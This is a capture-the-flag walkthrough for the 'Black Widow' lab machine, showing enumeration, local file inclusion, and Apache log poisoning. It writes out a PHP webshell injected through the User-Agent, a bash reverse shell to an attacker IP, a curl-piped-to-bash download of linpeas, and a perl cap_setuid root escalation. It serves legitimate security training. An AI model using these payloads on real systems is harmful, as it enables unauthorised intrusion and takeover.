Black Widow is a hard machine from Vulnhub and HackMyVM. This machine works on VirtualBox and you must take a snapshot so that it’s easy to reset the machine if required. From this machine, we can learn about log poisoning and other basic techniques. “Black Widow – HackMyVM – Vulnhub”
Link to the machine in HackMyVM: https://hackmyvm.eu/machines/machine.php?vm=BlackWidow
Link to the machine in Vulnhub: https://www.vulnhub.com/entry/black-widow-1,637/
Identify the target
Firstly, I identified the IP address of the target machine using netdiscover.
sudo netdiscover -r 10.0.0.0/24
Scan open ports
Next, I scanned the open ports on the target using Nmap.
nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.29
There are a lot of ports available on the target. However, for the exploitation of this machine, we only require port 80.
Enumerate the webserver
The home page contained a picture of a black widow.
So, I checked the paths on the server.
gobuster dir -r -u http://10.0.0.29/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -o dir.log
Here, I found a directory that has a website as follows.
On the website, everything is static except for the “Get Started” navigation link. Furthermore, the link provides us with the hostname which we don’t have to add to the /etc/hosts file. That is to say, in this case, the hostname just replaces the IP address. However, the script does nothing. Therefore, we have to fuzz a GET parameter to check the possibility of local file inclusions.
ffuf -c -ic -r -u 'http://10.0.0.29/company/started.php?FUZZ=../../../../../../../../../../../../../../etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 42271
Then, I manually tried to reduce the numbers of “../” from the request. Finally, I got the following combination that is the lowest that I had to request to get LFI.
Next, I checked for access to log files of apache.
This worked for me.
Here, we can see that the log file has the user-agent displayed. Hence, we can inject our PHP code via User-Agent to inject a backdoor command. However, let’s try with a simple PHP code first.
curl -A '<?php system($_GET[cmd]); ?>' 10.0.0.29
The above code injects the PHP code in place of the user-agent. Hence, now we can use a GET parameter “cmd” to execute any command.
So, I listened on port 9001 and used the following command to get the reverse shell.
bash -c 'bash -i >& /dev/tcp/10.0.0.4/9001 0>&1'
And, after encoding the command in URL encoded format, the request looks as follows.
In this way, I got the reverse shell on the machine.
User privilege escalation
Now that I have a shell, I have to escalate the privileges. Before that, I upgraded the shell as follows.
SHELL=/bin/bash script -q /dev/null
There is an interesting file in the /var/backups directory called auth.log. Inside the file, we can see the password of the user viper.
So, I logged into the SSH server.
Next, I enumerated the target using linpeas.sh.
curl http://10.0.0.4:8000/linpeas.sh | bash | tee linpeas.out
From the enumeration, we found that a custom binary arsenic has the capability of cap_setuid enabled. Therefore, I checked the binary.
The binary was basically a copy of “perl”. So, as we know that the programming language “perl” can give us root shell with this capability set.
/home/viper/backup_site/assets/vendor/weapon/arsenic -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'